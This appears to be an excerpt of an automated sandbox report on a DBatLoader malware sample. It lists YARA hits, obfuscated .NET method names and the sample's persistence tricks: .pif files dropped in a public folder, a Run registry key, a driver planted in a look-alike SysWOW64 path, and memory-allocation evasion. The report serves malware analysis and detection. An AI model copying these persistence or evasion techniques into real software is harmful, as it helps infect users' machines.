            Source: C:\Users\Public\Libraries\nhpoymuP.pifUnpacked PE file: 14.2.nhpoymuP.pif.400000.0.unpack
            Yara detected DBatLoader
            Source: Yara matchFile source: 0.2.image.exe.2c90000.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.image.exe.24066a8.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0.2.image.exe.24066a8.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000000.00000002.1714114145.0000000002406000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000000.00000003.1679035138.000000007FCD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            .NET source code contains method to dynamically call methods (often used by packers)
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, WP6RZJql8gZrNhVA9v.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
            Source: nhpoymuP.pif.0.drStatic PE information: 0x7BBD3E91 [Sun Oct 14 18:38:09 2035 UTC]
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA8798 LoadLibraryW,GetProcAddress,FreeLibrary,0_2_02CA8798
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C932FC push eax; ret 0_2_02C93338
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CBC2FC push 02CBC367h; ret 0_2_02CBC35F
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9635A push 02C963B7h; ret 0_2_02C963AF
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9635C push 02C963B7h; ret 0_2_02C963AF
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CBC0AC push 02CBC125h; ret 0_2_02CBC11D
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CBC1F8 push 02CBC288h; ret 0_2_02CBC280
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CBC144 push 02CBC1ECh; ret 0_2_02CBC1E4
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA86B8 push 02CA86FAh; ret 0_2_02CA86F2
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C96738 push 02C9677Ah; ret 0_2_02C96772
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C96736 push 02C9677Ah; ret 0_2_02C96772
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9C4EC push ecx; mov dword ptr [esp], edx0_2_02C9C4F1
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAE5AC push ecx; mov dword ptr [esp], edx0_2_02CAE5B1
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9D520 push 02C9D54Ch; ret 0_2_02C9D544
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9CB6C push 02C9CCF2h; ret 0_2_02C9CCEA
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9CB63 push 02C9CCF2h; ret 0_2_02C9CCEA
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CBBB64 push 02CBBD8Ch; ret 0_2_02CBBD84
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA68C8 push 02CA6973h; ret 0_2_02CA696B
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA68C6 push 02CA6973h; ret 0_2_02CA696B
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA788C push 02CA7909h; ret 0_2_02CA7901
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA890E push 02CA8948h; ret 0_2_02CA8940
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAA918 push 02CAA950h; ret 0_2_02CAA948
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA8910 push 02CA8948h; ret 0_2_02CA8940
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAA917 push 02CAA950h; ret 0_2_02CAA948
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA2EE0 push 02CA2F56h; ret 0_2_02CA2F4E
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA2FEB push 02CA3039h; ret 0_2_02CA3031
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA2FEC push 02CA3039h; ret 0_2_02CA3031
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CA5DFC push ecx; mov dword ptr [esp], edx0_2_02CA5DFE
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0041C40C push cs; iretd 3_2_0041C4E2
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_00423149 push eax; ret 3_2_00423179
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_0041C50E push cs; iretd 3_2_0041C4E2
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 3_2_004231C8 push eax; ret 3_2_00423179
            Source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
            Source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, WP6RZJql8gZrNhVA9v.csHigh entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'Um61XJt4G2w4U', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

            Persistence and Installation Behavior

            barindex
            Drops PE files with a suspicious file extension
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Users\Public\Libraries\Pumyophn.PIFJump to dropped file
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Users\Public\Libraries\nhpoymuP.pifJump to dropped file
            Sample is not signed and drops a device driver
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFFile created: C:\Windows \SysWOW64\truesight.sysJump to behavior
            Source: C:\Users\Public\Libraries\Pumyophn.PIFFile created: C:\Windows \SysWOW64\truesight.sys
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Users\Public\Libraries\Pumyophn.PIFJump to dropped file
            Source: C:\Users\user\Desktop\image.exeFile created: C:\Users\Public\Libraries\nhpoymuP.pifJump to dropped file
            Source: C:\Users\user\Desktop\image.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PumyophnJump to behavior
            Source: C:\Users\user\Desktop\image.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run PumyophnJump to behavior
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAA954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_02CAA954
            Source: C:\Users\Public\Libraries\nhpoymuP.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\nhpoymuP.pifProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Allocates many large memory junks
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2C90000 memory commit 500006912Jump to behavior
            Source: C:\Users\user\Desktop\image.exeMemory allocated: 2C91000 memory commit 500178944Jump to behavior
